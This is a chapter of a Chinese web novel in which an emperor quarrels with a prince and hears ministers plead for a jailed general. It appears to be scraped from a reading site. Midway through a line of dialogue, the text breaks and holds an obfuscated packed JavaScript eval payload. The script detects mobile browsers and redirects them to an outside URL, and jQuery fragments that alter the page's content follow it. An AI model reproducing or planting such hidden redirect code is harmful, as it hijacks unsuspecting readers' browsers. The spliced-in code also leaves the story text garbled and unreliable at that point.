106.行有度

作品:《这皇帝我当定了

    “棠棠,你这风车是从何处得来的?”


    “方才我遇上柳大人,是他送我的。”江棠说着踮起脚尖,把风车举到江去面前,带着几分炫耀的,“爹爹您瞧,好看吗?”


    嗯?柳大人?莫非陛下允他出来了?


    “这位想必就是老师的千金吧?”


    听到薛书的声音,江去笑着牵起江棠的手:“小女江棠性子顽劣,让薛公子见笑了。”


    “哪里哪里。”薛书怀里抱着一沓册子,腾不出手来,只能对着江棠微微躬身,“在下薛书,是江大人的弟子,在此见过江姑娘。”


    江棠显然是头回见薛书,有些怕生,往江去身后缩了缩,小声怯怯地应了句:“你好。”


    “好了棠棠,你先去玩,爹爹还要带薛公子去面圣呢。”江去蹲下身,捏了捏她的脸颊,轻声吩咐。


    “好!”江棠刚爽快应下,却突然又显出几分犹豫,撇着小嘴,像是有什么心事。


    江去见她如此模样,有些纳闷,询问:“怎么了?”


    “没什么……”江棠别过脸,带着点别扭,“就是方才公主跟我说过话了,爹爹,我能跟公主一起玩吗?”


    江去抚摸着她的头答:“自是可以,只是棠棠要记牢爹爹的话,时刻认清臣子的身份,莫要惹公主不快。”


    “哦……”


    等江棠跑开后,薛书才忍不住开口:“老师,她们终究只是孩子,孩童间玩耍若处处讲究君臣之别,只怕将来会生出嫌隙来。”


    “你既知君臣有别,身为臣子便更要守好本分,便是情谊再好,也不能失了礼数。”江去说着站起身,转而拍了拍薛书的肩头,“对待君王,固然可以借由亲近关系彰显忠心,却万万要把握好分寸,切不可僭越半分,否则到头来,怕是要落得魏将军那般下场。”


    “原来如此,学生谨记在心。”薛书恍然大悟,连连点头应道。


    江去似是想起了什么,忽然迈步走到他身侧,压低声音叮嘱:“还有,来时我嘱咐你的话,你可要记牢了,虽说陛下私下里没什么架子,但分寸二字,你我始终得放在心上,切莫被陛下的随和带得犯了糊涂,说些不该说的话。”


    “是,学生明白。”


    尚未走近那层白纱,里头便传来一阵吵闹声。


    虽听得不甚真切,单听那声音,却也能辨出是谁在里面。


    薛书跟在江去身后,见他毫不避讳,径直掀开白纱走了进去,不由得有些吃惊。


    紧接着,便听江去从容开口:“看来今日陛下心情颇佳,竟能陪着亲王说这般久的话。这要是搁在平时,稀罕程度怕是要在朝上传扬三天之久,您二人不和的传言,不就不攻自破了?”


    奕宣瞧见是江去,松了口气,一脸愤愤地冲他道:“你来得正好,快把他给朕轰出去!”


    江去故作惊叹:“呀!陛下这可真是为难臣了。”


    叶定川听了这话,索性一屁股坐到椅子上,摆出赖着不走的架势,环着胳膊不服气道:“反正见不到先生,我是不会走的。江大人若是来寻陛下商议要事,还劳烦多等片刻,陛下眼下与我谈的事还没了结呢。”


    奕宣嘴角抽了抽,面色“和善”地问:“叶定川,你是不是有病?”


    “臣身子康健,不劳陛下挂心。”叶定川避开他的目光,摆出一副无所谓的模样回应。


    这一幕,可算让薛书开了眼。


    朝中关于二人不和的言论他听过不少,如今亲眼所见,虽说证实了传言不实,可怎么瞧着有些奇怪?


    要说陛下私下里随和,可这未免也太过随和了些,定北亲王如此无礼,陛下竟也能容忍?


    况且他们这般争吵……怎么瞧着还有几分幼稚?


    奕宣吵得也有些乏了,索性暂且不理会叶定川,将目光投向江去,这才发觉他身后还跟着个人,好奇道:“怎么,江去,这就迫不及待要提拔你这宝贝徒弟了?”


    听见话引子过来,对薛书来说也是个机会。


    他三两步上前,托举着手上的一沓册子,缓缓言道:“臣薛书,参见陛下!臣愚才,平日里偶有习作,自知浅陋,却总盼着能得陛下指点一二。只是陛下日理万机,臣实在不敢贸然叨扰,今日恰逢随老师面圣,斗胆将这些拙作带来,若陛下得闲,能否赐臣片刻,容臣请教一二?”


    奕宣只一瞬便听出了几分异样,冲江去挑了挑眉问:“这说辞,是你教的吧?”


    江去满面含笑地拱手,解释道:“陛下先前点拨过臣,臣回去后才慢慢想通。只是臣心中仍有郁结,若陛下当真介意臣与薛公子的关系,不妨看看他往日所作的文章,也好打消陛下的顾虑。”


    “我说江去你啊,是不是太过在意朕的感受了?”奕宣说着,扶着玉雕扶手缓缓起身,迈步走向二人,“朕不是说过信你吗?如今你这般做,倒像是寒了朕的心。”


    “臣自然信陛下。”江去欠身应道,目光扫过薛书手中的册子,语气添了几分郑重,“只是空言无凭,臣纵有百口也难描其万一。薛书的才学如何,笔下文章最是诚实,陛下见了真迹,便知臣所言非虚,也知臣之赤子之心不移。”


    薛书也找准时机,补了句:“能得陛下赏识是臣子之荣幸。”


    他俩这一唱一和的,倒是让奕宣将热闹看了个够,毕竟来都来了,这还是新朝第一个状元,其实看看也是无妨。


    “若他写得不堪入目,朕可不给你留面子。”


    “陛下尽管评判便是。”江去坦然一笑,“真金不怕火炼,他若担不起,臣也断不会将他推到陛下面前。”


    奕宣轻笑一声,接过册子翻看起来,才看了两眼,身后便传来声音。


    “嗯嗯,挺好的,行文流畅,用典精确,字也不错。”


    奕宣吓得一激灵,手中的册子瞬间飞了出去,幸好被江去稳稳接住。


    见是身后的柳思生,奕宣火气顿时涌了上来:“柳思生!你是鬼吗?走路一点声音都没有?”


    “先生!”叶定川的喊声比奕宣的手先到,他一个箭步冲上前,瞬间站到柳思生跟前,把脸凑了过去,“先生,您身子怎么样了?有没有哪儿不舒服?”


    奕宣一巴掌拍在叶定川脸上,把他推到一旁,拽着柳思生的胳膊冲外面大喊:“来人!快来人!把他给朕轰出去!”


    没料到叶定川竟直接坐到地上,知道抱柳思生没用,索性抱住了奕宣的腿,撒泼似的大喊:“你喊啊,把人都喊进来!来人啊!陛下虐待忠臣啦!快来人啊!”


    “嘿,你……”奕宣没料到他会来这么一出,腿抽不出来,顿时傻了眼,“叶定川


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967002|165193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你是不是疯了!用的这叫什么下三滥手段?你一个王爷,就不觉得丢人?”


    叶定川得意地笑了两声:“陛下要是觉得丢人,就别耍赖。明明是陛下许诺让我见先生,偏要先不守信用,那也别怪臣出此下策了。”


    “滚滚滚,放开我!混账东西!”


    “你答应了,我就松手!”


    “你是皮痒了,想进牢里陪魏宿?”


    “行啊,陛下可是能关得着我,但我出来还是如此,除非陛下关我一辈子。”


    “你……”


    靠!


    薛书也是看得一脸震惊,悄悄附在江去耳边问:“老师,您刚刚说的……”


    “亲王是例外,到底是一家人,哈哈。”其实就是他缺心眼。


    江去说罢,对柳思生拱手道:“先生安好。”


    薛书看见柳思生也是一愣,忙跟着江去行礼:“拜见国师大人。”


    柳思生没理会身后两人的争吵,目光落在薛书身上:“看来你知道不少事。”


    薛书笑着回话:“薛书愚钝,承蒙老师教诲,老师的恩师便是国师大人,我研习您的文章,又怎会不知您的大名?”


    柳思生拂了拂衣袖,道:“行了,客套话不必多说,你此番前来,是为魏宿的事吧。”


    “大人知道?”薛书心头一惊,抬眸望向柳思生。


    柳思生解释道:“当初魏宿不过是个御龙卫主将,长子无能,好在女儿魏玉秀生得一副好模样,被薛家大公子看中,娶作发妻,才让魏家攀了高枝;如今魏宿一步登天,改朝换代时拉了薛家一把,使其得以留在这华京名门之中。”


    “眼下陛下收了他的兵权,将他打入大牢,薛家出面周旋本也无可厚非。只是江去,我不懂你为何对薛家这般上心,以你如今的地位,何苦来蹚这浑水?”


    江去从容应道:“如先生所见,薛书是臣的学生。臣既已挑明这层关系,便清楚会有怎样的后果。”


    “行了,若是为魏宿的事,你们也不必这般拐弯抹角替他说话。”奕宣挣扎半晌,终究没能摆脱腿上的人,索性不再管了。本就气闷,此刻听见“魏宿”二字,更是眼前发黑,“把文章留下,朕答应过会看你的文章,得空自会看,你先回去吧。”


    “可……”


    “是,臣这便退下。”江去抢在薛书开口前应道,对着三人一一行礼,随后拉着薛书的胳膊,带他走出了白纱帐。


    薛书满心不解:“老师,就这么走了?”


    江去长叹一声:“毕竟魏将军惹陛下动了真怒,我们此番点到为止便好,切不可深说。况且方才陛下说会看你的文章,想来是留了余地,更不可不知好歹。再说,你也瞧见屋里的情形了,继续留着,万一听到些不该听的,对薛家可没好处。”


    “是,学生受教了。”薛书垂下头,也是叹了口气,“只是此番不成,嫂嫂又该伤心好几日了。”


    江去听见这个,瞬间黑了脸:“薛公子慎言,你等之事,万不可让陛下知道,不然连余地也不可得。”


    “学生牢记老师教诲。”薛书仍不甘心,又追问了一句,“老师,就真的没有别的办法救魏将军了吗?”


    “还有一个人,只是机会渺茫。”


    “谁?”


    “柳大人。”